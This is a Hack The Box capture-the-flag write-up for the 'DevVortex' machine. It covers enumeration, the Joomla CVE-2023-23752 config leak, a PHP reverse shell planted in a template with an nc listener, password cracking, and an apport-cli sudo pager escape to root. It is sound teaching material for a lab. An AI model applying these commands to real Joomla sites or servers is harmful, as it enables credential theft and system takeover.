DevVortex

Organization: Hack The Box	Type: online CTF	
Categories: ☐ Network Security ☐ Cryptography ☐ Mobile Applications	☐ Reverse Engineering ✓ Web Applications ☐ Forensics	Difficulty: Easy
Name: Kasper Verhulst	Release date:25-11-2023 Completing date:	

Scanning & Reconaissance

First, let us start scanning the machine to see which services are running. As usual, let's start by running an nmap command.

```
nmap -sS -A -p1-1024 -oN nmap.out $BOX_IP
```

We find the following services running on the machine

Port	Service	Version
22/tcp open	SSH	OpenSSH 8.2p1
80/tcp open	HTTP	nginx 1.18.0

It seems there is an nginx web server and an ssh server running on the machine. We don't find any critical vulnerabilities present in these services.

The web server has a vhost configured that redirects all requests directly at the web server's IP address to its hostname devvortex.htb instead. We need to add this domain to the `/etc/hosts` file to view the web app.

DevVortex looks like a website from an agency that provides digital services. It is built using Boostrap and some standard javascript libraries. It consists mostly of static files except a few hyperlinks that point to the page itself and a contact form that doesn't seem to trigger anything. At first glance, no sensitive information is hidden in the HTML source code. Since there are no obvious leads, let's try to enumerate the web server directories and subdomains.

```
gobuster dir -x py,html,php -u http://devvortex.htb -w /usr/share/wordlists/
    SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
```

path	Status code
index.html	200
contact.html	200
about.html	200
do.html	200
portfolio.html	200

We find a couple of pages, but these separate pages are just snippets from the home page that are also hosted as individual html files. Nothing interesting in any of these... let's see if we can find any subdomains:

```
gobuster vhost -u http://devvortex.htb -w /usr/share/wordlists/SecLists-master
    /Discovery/DNS/subdomains-top1million-5000.txt --append-domain
```

Here we find a domain http://dev.devvortext.htb. Let's quickly add this domain to our `/etc/hosts` file and take a look.

http://dev.devvortex.htb seems to show a new version of the website for the same agency. Again the website seems to be entirely static and all the links are poiting to the home page. Wappalyzer learns us the website was written in PHP with the Joomla! CMS. Let's start to enumerate the website again:

```
gobuster dir  -u http://dev.devvortex.htb/ -w /usr/share/wordlists/SecLists-
    master/Discovery/Web-Content/directory-list-2.3-medium.txt  -x php
```

and also with a PHP specific wordlist

```
gobuster dir -u http://dev.devvortex.htb -w /usr/share/wordlists/SecLists-
    master/Discovery/Web-Content/PHP.fuzz.txt -x php
```

path	Status code
images	301
index.php	200
home	301
media	301
templates	301
modules	301
plugins	301
includes	301
language	301
components	301
api	301
cache	301
tmp	301
libraries	301
layout	301
cli	301
administrator	301
configuration.php	200
robots.txt	200

We find a whole lot of directories specific for the Joomla! CMS. *HackTricks* also learns us the Joomla! version can be found on /administrator/manifests/files/joomla.xml. In our case, the website is built under version 4.2.6 (See appendix for complete file).

Gaining access

The configuration.php page is empty and the robots.txt file only lists directories that we already now. Administrator is the access to the Joomla! administration portal. I found that there exists a default admin account called *admin*, but there is no default password since it is mandatory to change during installation. I tried to brute-force the login, but without any luck.

After researching vulnerabilities in this version 4.2.6 of the Joomala! CMS, I stumbled upon CVE-2023-23752. As discussed here, CVE-2023-23752 is an authentication bypass resulting in an information leak.

There is an open endpoint that discloses a lof of information about the Joomla system configuration like the connection details to its backend database.

```
curl -v http://dev.devvortex.htb/api/index.php/v1/config/application\?public\=true
```

In this response, we find the Joomla! system uses a MySQL database in the back. Additionally, we find the Joomla system is connecting with username *lewis* and password P4ntherg0t1n5r3c0n. Luckily for us, the same credentials are reused and grant us access to the Joomla! admin portal.

Now that we have access to the Joomla! admin portal, Hacktricks learns us a way to achieve remote code execution. Joomla! support something called templates and in the templates you can execute PHP code. Let's navigate to templates and customize the only existing template *cassiopeia*. Now modify one of the pages in the template. Remove the existing PHP code in the page and replace by PHP code for a reverse shell. I used the PHP PentestMonkey code from revshells. Open a listener before triggering the template:

```
nc -nlvp 9393
```

Now trigger the page in the template that holds the reverse shell PHP code:

```
curl "http://dev.devvortex.htb/templates/cassiopeia/error.php"
```

Pivoting

Now that we have access, let us inspect the `/etc/passwd` file to see how many user accounts exists.

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
logan:x:1000:1000:,,,:/home/logan:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
```

Apart from *root*, there is a second low-privilege account called *logan* that has a shell.

Remember that the Joomla! information disclosure vulnerability actually gave us credentials to the MySQL database so lte's try to enumerate this database:

```
mysql --password=P4ntherg0t1n5r3c0n## --host=localhost --user=lewis joomla
show tables;
```

The table with that stores the user accounts seems particularly interesting:

```
select * from sd4fg\_users;
```

Here, we find the hash for *logan* to access the Joomla! CMS administrator portal. Save this hash in a new file and let's crack this hash with John the Ripper:

```
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

We are lucky. *logan* logan reuses his password in Joomla for the Linux server. Let's SSH into the box with *logan*'s password.

```
ssh logan@devvortext.htb
```

Privilege Escalation

One of the first things we always check is whether the user has any specific sudo rights:

```
logan@devvortex:~$ sudo -l
...

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli
```

Apport is a tool that helps you analyse crashed processes. A quick google search learns us there was a serious privilege escalation vulnerability discovered. As explained here, when viewing a crash report, you can escape the reader and run a whell as the user that ran apport-cli:

```
sudo /usr/bin/apport-cli -c /var/crash/0209_file.crash
press V (view report)
!/bin/bash
```

However, we get an error that the 0209_file.crash report is not a valid format. This makes sense since the file is empty... I look online for an example of a valid apport report file and repeat the procedure.

A joomla.xml

```
<extension type=”file” method=”upgrade”>
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</
    license>
<version>4.2.6</version>
<creationDate>2022−12</creationDate>
<description>FILES_JOOMLA_XML_DESCRIPTION</description>
<scriptfile>administrator/components/com_admin/script.php</scriptfile>
<update>
<schemas>
<schemapath type=”mysql”>administrator/components/com_admin/sql/updates/mysql<
    /schemapath>
<schemapath type=”postgresql”>administrator/components/com_admin/sql/updates/
    postgresql</schemapath>
</schemas>
</update>
<fileset>
<files>
<folder>administrator</folder>
<folder>api</folder>
<folder>cache</folder>
<folder>cli</folder>
<folder>components</folder>
<folder>images</folder>
<folder>includes</folder>
<folder>language</folder>
<folder>layouts</folder>
<folder>libraries</folder>
<folder>media</folder>
<folder>modules</folder>
<folder>plugins</folder>
<folder>templates</folder>
<folder>tmp</folder>
<file>htaccess.txt</file>
<file>web.config.txt</file>
<file>LICENSE.txt</file>
<file>README.txt</file>
<file>index.php</file>
</files>
</fileset>
<updateservers>
<server name=”Joomla!␣Core” type=”collection”>https://update.joomla.org/core/
    list.xml</server>
</updateservers>
</extension>
```